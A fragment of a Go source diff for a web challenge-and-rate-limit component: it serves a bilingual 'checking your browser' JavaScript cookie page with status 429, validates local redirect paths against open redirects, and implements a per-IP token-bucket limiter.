+ }
196
+
197
+ // PassedChallenge reports whether the request headers carry ip's valid challenge cookie.
198
+ func PassedChallenge(secret []byte, hdr http.Header, ip string, now time.Time) bool {
199
+ c, err := (&http.Request{Header: hdr}).Cookie(ChallengeCookie)
200
+ return err == nil && hmac.Equal([]byte(c.Value), []byte(ChallengeToken(secret, ip, now)))
201
+ }
202
+
203
+ // ServeChallenge writes the JS challenge page (429): it sets the challenge cookie and reloads, so a browser passes
204
+ // and a client that does not run JS does not.
205
+ func ServeChallenge(w http.ResponseWriter, token string) {
206
+ serveChallenge(w, token, "location.reload()")
207
+ }
208
+
209
+ // ServeChallengeTo is the challenge page for a client that was redirected to it (ingress-nginx auth-signin): after
210
+ // setting the cookie it goes back to rd, which must be a local path ("/..."); anything else just reloads.
211
+ func ServeChallengeTo(w http.ResponseWriter, token, rd string) {
212
+ if !strings.HasPrefix(rd, "/") || strings.HasPrefix(rd, "//") || strings.HasPrefix(rd, `/\`) || strings.ContainsAny(rd, "\x00\r\n\t ") {
213
+ ServeChallenge(w, token)
214
+ return
215
+ }
216
+ lit, _ := json.Marshal(rd) // a JS string literal; <, > and & are \u-escaped, so it cannot close the script
217
+ serveChallenge(w, token, "location.replace("+string(lit)+")")
218
+ }
219
+
220
+ func serveChallenge(w http.ResponseWriter, token, next string) {
221
+ w.Header().Set("Content-Type", "text/html; charset=utf-8")
222
+ w.Header().Set("Cache-Control", "no-store")
223
+ w.WriteHeader(http.StatusTooManyRequests)
224
+ fmt.Fprintf(w, `<!doctype html><html><head><meta charset="utf-8"><title>One moment</title></head><body style="font-family:sans-serif">
225
+ <p>Checking your browser… / ` + "\u062f\u0631 \u062d\u0627\u0644 \u0628\u0631\u0631\u0633\u06cc \u0645\u0631\u0648\u0631\u06af\u0631 \u0634\u0645\u0627" + `…</p>
226
+ <script>document.cookie="`+ChallengeCookie+`=%s; path=/; max-age=86400; SameSite=Lax";setTimeout(function(){%s},800);</script></body></html>`, token, next)
227
+ }
228
+
229
+ // Bucket is one source's token bucket.
230
+ type Bucket struct {
231
+ tokens float64
232
+ last time.Time
233
+ }
234
+
235
+ // NewBucket returns a full bucket.
236
+ func NewBucket(burst float64, now time.Time) *Bucket { return &Bucket{tokens: burst, last: now} }
237
+
238
+ // Take refills the bucket at rate tokens/s (capped at burst) and takes one token if there is one.
239
+ func (b *Bucket) Take(now time.Time, rate, burst float64) bool {
240
+ b.tokens += now.Sub(b.last).Seconds() * rate
241
+ if b.tokens > burst {
242
+ b.tokens = burst
243
+ }
244
+ b.last = now
245
+ if b.tokens < 1 {
246
+ return false
247
+ }
248
+ b.tokens--
249
+ return true
250
+ }
251
+
252
+ // Limiter is a per-source token-bucket rate limiter whose idle buckets are pruned.
253
+ type Limiter struct {
254
+ mu sync.Mutex
255
+ buckets map[string]*Bucket
256
+ rate float64
257
+ burst float64
258
+ pruned time.Time
259
+ }
260
+
261
+ // NewLimiter allows rate requests/s per source with bursts of burst.
262
+ func NewLimiter(rate, burst float64) *Limiter {
263
+ return &Limiter{buckets: map[string]*Bucket{}, rate: rate, burst: burst, pruned: time.Now()}
264
+ }
265
+
266
+ // Allow takes a token from ip's bucket.
267
+ func (l *Limiter) Allow(ip string) bool {
268
+ now := time.Now()
269
+ l.mu.Lock()
270
+ defer l.mu.Unlock()
271
+ if now.Sub(l.pruned) > time.Minute { // a bucket idle long enough to be full again carries no state
272
+ full := time.Hour
273
+ if l.rate > 0 {
274
+ full = time.Duration(l.burst/l.rate*float64(time.Second)) + time.Second
275
+ }
276
+ for k, b := range l.buckets {
277
+ if now.Sub(b.last) > full {
278
+ delete(l.buckets, k)
279
+ }
280
+ }
281
+ l.pruned = now
282
+ }
283
+ b := l.buckets[ip]
284
+ if b == nil {
285
+ b = NewBucket(l.burst, now)
286
+ l.buckets[ip] = b
287
+ }
288
+ return b.Take(now, l.rate, l.burst)
289
+ }